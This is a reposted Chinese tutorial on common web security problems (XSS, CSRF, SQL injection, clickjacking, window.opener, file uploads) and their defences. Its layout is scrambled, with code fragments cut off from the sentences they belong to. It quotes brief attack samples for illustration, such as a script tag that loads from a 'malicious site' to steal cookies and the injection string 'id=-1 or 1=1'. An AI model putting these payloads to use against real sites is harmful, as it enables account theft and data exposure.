新聞動態(tài)
Web 安全總結(jié)
網(wǎng)站建設 發(fā)布者:cya 2019-11-30 08:54 訪問量:313
來自公眾號:前端Q
本文介紹以下幾種常見的 web 安全問題及解決方法:
同源策略 XSS CSRF SQL注入 點擊劫持 window.opener 安全問題 文件上傳漏洞 如果兩個 URL 的協(xié)議、域名和端口都相同,我們就稱這兩個 URL 同源。 同源策略限制了來自不同源的 JavaScript 腳本對當前 DOM 對象讀和寫的操作。 同源策略限制了不同源的站點讀取當前站點的 Cookie、IndexDB、LocalStorage 等數(shù)據(jù)。 同源策略限制了通過 XMLHttpRequest 等方式將站點的數(shù)據(jù)發(fā)送給不同源的站點。 解決同源策略的方法: 利用漏洞提交惡意 JavaScript 代碼,比如在input, textarea等所有可能輸入文本信息的區(qū)域,輸入 用戶將一段含有惡意代碼的請求提交給 Web 服務器,Web 服務器接收到請求時,又將惡意代碼反射給了瀏覽器端,這就是反射型 XSS 攻擊。 基于 DOM 的 XSS 攻擊是不牽涉到頁面 Web 服務器的。它的特點是在 Web 資源傳輸過程或者在用戶使用頁面的過程中修改 Web 頁面的數(shù)據(jù)。比如利用工具(如Burpsuite)掃描目標網(wǎng)站所有的網(wǎng)頁并自動測試寫好的注入腳本等。 預防策略: 將cookie等敏感信息設置為httponly,禁止Javascript通過 對所有的輸入做嚴格的校驗尤其是在服務器端,過濾掉任何不合法的輸入,比如手機號必須是數(shù)字,通??梢圆捎谜齽t表達式. 凈化和過濾掉不必要的html標簽,比如 轉(zhuǎn)義單引號,雙引號,尖括號等特殊字符,可以采用htmlencode編碼 或者過濾掉這些特殊字符 CSP,全稱為 Content Security Policy,即內(nèi)容安全策略。主要以白名單的形式配置可信任的內(nèi)容來源,在網(wǎng)頁中,能夠使白名單中的內(nèi)容正常執(zhí)行(包含 JS,CSS,Image 等等),而非白名單的內(nèi)容無法正常執(zhí)行,從而減少跨站腳本攻擊(XSS),當然,也能夠減少運營商劫持的內(nèi)容注入攻擊。 引誘用戶打開黑客的網(wǎng)站,在黑客的網(wǎng)站中,利用用戶的登錄狀態(tài)發(fā)起的跨站請求。 發(fā)起 CSRF 攻擊的三個必要條件: 目標站點一定要有 CSRF 漏洞; 用戶要登錄過目標站點,并且在瀏覽器上保持有該站點的登錄狀態(tài); 需要用戶打開一個第三方站點,如黑客的站點等。 預防策略: 充分利用好 Cookie 的 SameSite 屬性。 SameSite 選項通常有 Strict、Lax 和 None 三個值。 SameSite 的值是 Strict,那么瀏覽器會完全禁止第三方 Cookie。 Lax 相對寬松一點。在跨站點的情況下,從第三方站點的鏈接打開和從第三方站點提交 Get 方式的表單這兩種方式都會攜帶 Cookie。但如果在第三方站點中使用 Post 方法,或者通過 img、iframe 等標簽加載的 URL,這些場景都不會攜帶 Cookie。 而如果使用 None 的話,在任何情況下都會發(fā)送 Cookie 數(shù)據(jù)。如: 驗證請求的來源站點 在服務器端驗證請求來源的站點,就是驗證 HTTP 請求頭中的 服務器的策略是優(yōu)先判斷 Origin,如果請求頭中沒有包含 Origin 屬性,再根據(jù)實際情況判斷是否使用 Referer 值。 在請求地址中添加 token 并驗證 CSRF 攻擊之所以能夠成功,是因為黑客可以完全偽造用戶的請求,該請求中所有的用戶驗證信息都是存在于 cookie 中,因此黑客可以在不知道這些驗證信息的情況下直接利用用戶自己的 cookie 來通過安全驗證。因此要抵御 CSRF,關(guān)鍵在于在請求中放入黑客所不能偽造的信息,并且該信息不存在于 cookie 之中。可以在 HTTP 請求中以參數(shù)的形式加入一個隨機產(chǎn)生的 token,并在服務器端建立一個攔截器來驗證這個 token,如果請求中沒有 token 或者 token 內(nèi)容不正確,則認為可能是 CSRF 攻擊而拒絕該請求。 在 HTTP 頭中自定義屬性并驗證 這種方法也是使用 token 并進行驗證,和上一種方法不同的是,這里并不是把 token 以參數(shù)的形式置于 HTTP 請求之中,而是把它放到 HTTP 頭中自定義的屬性里。通過 XMLHttpRequest 這個類,可以一次性給所有該類請求加上 csrftoken 這個 HTTP 頭屬性,并把 token 值放入其中。這樣解決了上種方法在請求中加入 token 的不便,同時,通過 XMLHttpRequest 請求的地址不會被記錄到瀏覽器的地址欄,也不用擔心 token 會透過 Referer 泄露到其他網(wǎng)站中去。 然而這種方法的局限性非常大。XMLHttpRequest 請求通常用于 Ajax 方法中對于頁面局部的異步刷新,并非所有的請求都適合用這個類來發(fā)起,而且通過該類請求得到的頁面不能被瀏覽器所記錄下,從而進行前進,后退,刷新,收藏等操作,給用戶帶來不便。另外,對于沒有進行 CSRF 防護的遺留系統(tǒng)來說,要采用這種方法來進行防護,要把所有請求都改為 XMLHttpRequest 請求,這樣幾乎是要重寫整個網(wǎng)站,這代價無疑是不能接受的。 拼接 SQL 時未仔細過濾,黑客可提交畸形數(shù)據(jù)改變語義。比如查某個文章,提交了這樣的數(shù)據(jù) 預防策略: 禁止目標網(wǎng)站利用動態(tài)拼接字符串的方式訪問數(shù)據(jù)庫 減少不必要的數(shù)據(jù)庫拋出的錯誤信息 對數(shù)據(jù)庫的操作賦予嚴格的權(quán)限控制 凈化和過濾掉不必要的SQL保留字,比如:where, or, exec 等 誘使用戶點擊看似無害的按鈕(實則點擊了透明 iframe 中的按鈕). 監(jiān)聽鼠標移動事件,讓危險按鈕始終在鼠標下方. 使用 HTML5 拖拽技術(shù)執(zhí)行敏感操作(例如 deploy key). 預防策略: 服務端添加 X-Frame-Options 響應頭,這個 HTTP 響應頭是為了防御用 iframe 嵌套的點擊劫持攻擊。這樣瀏覽器就會阻止嵌入網(wǎng)頁的渲染。 JS 判斷頂層視口的域名是不是和本頁面的域名一致,不一致則不允許操作, 敏感操作使用更復雜的步驟(驗證碼、輸入項目名稱以刪除)。 window.opener 表示打開當前窗體頁面的的父窗體的是誰。例如,在 A 頁面中,通過一個帶有 target="_blank" 的 a 標簽打開了一個新的頁面 B,那么在 B 頁面里,window.opener 的值為 A 頁面的 window 對象。 一般來說,打開同源(域名相同)的頁面,不會有什么問題。但對于跨域的外部鏈接來說,存在一個被釣魚的風險。比如你正在瀏覽購物網(wǎng)站,從當前網(wǎng)頁打開了某個外部鏈接,在打開的外部頁面,可以通過 window.opener.location 改寫來源站點的地址。利用這一點,將來源站點改寫到釣魚站點頁面上,例如跳轉(zhuǎn)到偽造的高仿購物頁面,當再回到購物頁面的時候,是很難發(fā)現(xiàn)購物網(wǎng)站的地址已經(jīng)被修改了的,這個時候你的賬號就存在被釣魚的可能了。 預防策略: 設置 rel 屬性 rel=noopener 規(guī)定禁止新頁面?zhèn)鬟f源頁面的地址,通過設置了此屬性的鏈接打開的頁面,其 window.opener 的值為 null。 將外鏈替換為內(nèi)部的跳轉(zhuǎn)連接服務,跳轉(zhuǎn)時先跳到內(nèi)部地址,再由服務器 redirect 到外鏈。 可以由 widow.open 打開外鏈。 服務器未校驗上傳的文件,致使黑客可以上傳惡意腳本等方式。 預防策略: 用文件頭來檢測文件類型,使用白名單過濾(有些文件可以從其中一部分執(zhí)行,只檢查文件頭無效,例如 PHP 等腳本語言); 上傳后將文件徹底重命名并移動到不可執(zhí)行的目錄下; 升級服務器軟件以避免路徑解析漏洞; 升級用到的開源編輯器; 管理后臺設置強密碼。同源策略
跨文檔消息機制
: 可以通過 window.postMessage 的 JavaScript 接口來和不同源的 DOM 進行通信。跨域資源共享(CORS)
: 跨域資源在服務端設置允許跨域,就可以進行跨域訪問控制,從而使跨域數(shù)據(jù)傳輸?shù)靡园踩M行。內(nèi)容安全策略(CSP)
: 主要以白名單的形式配置可信任的內(nèi)容來源,在網(wǎng)頁中,能夠使白名單中的內(nèi)容正常執(zhí)行(包含 JS,CSS,Image 等等),而非白名單的內(nèi)容無法正常執(zhí)行。XSS,跨站腳本攻擊(Cross Site Scripting)
存儲型 XSS 攻擊
<script src="http://惡意網(wǎng)站"></script>
等,提交后信息會存在服務器中,當用戶再次打開網(wǎng)站請求到相應的數(shù)據(jù),打開頁面,惡意腳本就會將用戶的 Cookie 信息等數(shù)據(jù)上傳到黑客服務器。反射型 XSS 攻擊
在現(xiàn)實生活中,黑客經(jīng)常會通過 QQ 群或者郵件等渠道誘導用戶去點擊這些惡意鏈接,所以對于一些鏈接我們一定要慎之又慎。Web 服務器不會存儲反射型 XSS 攻擊的惡意腳本,這是和存儲型 XSS 攻擊不同的地方。
基于 DOM 的 XSS 攻擊
document.cookie
獲得:
<iframe>
, <script>等
;凈化和過濾掉不必要的Javascript的事件標簽,比如:onclick, onfocus
等
配置方式://1、meta
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
//2、Http 頭部
Content-Security-Policy:
script-src 'unsafe-inline' 'unsafe-eval' 'self' *.54php.cn *.yunetidc.com *.baidu.com *.# *.duoshuo.com *.jiathis.com;report-uri /error/cspCSRF,跨站請求偽造(Cross-site request forgery)
set-cookie: 1P_JAR=2019-10-20-06; expires=Tue, 19-Nov-2019 06:36:21 GMT; path=/; domain=.google.com; SameSite=none
Origin
和 Referer
屬性。Referer 是 HTTP 請求頭中的一個字段,記錄了該 HTTP 請求的來源地址,而O rigin 屬性只包含了域名信息,并沒有包含具體的 URL 路徑。這是 Origin 和 Referer 的一個主要區(qū)別。SQL注入
id=-1 or 1=1
等。1=1 永遠是true,導致where語句永遠是ture.那么查詢的結(jié)果相當于整張表的內(nèi)容,攻擊者就達到了目的。或者,通過屏幕上的報錯提示推測 SQL 語句等。點擊劫持
top.location.hostname === self.location.hostname
;window.opener 安全問題
<a href="https://xxxx" rel="noopener noreferrer"> 外鏈 <a>
文件上傳漏洞
文章連接: http://www.weemall.cn/wzjss/626.html
版權(quán)聲明:文章由 晨展科技 整理收集,來源于互聯(lián)網(wǎng)或者用戶投稿,如有侵權(quán),請聯(lián)系我們,我們會立即刪除。如轉(zhuǎn)載請保留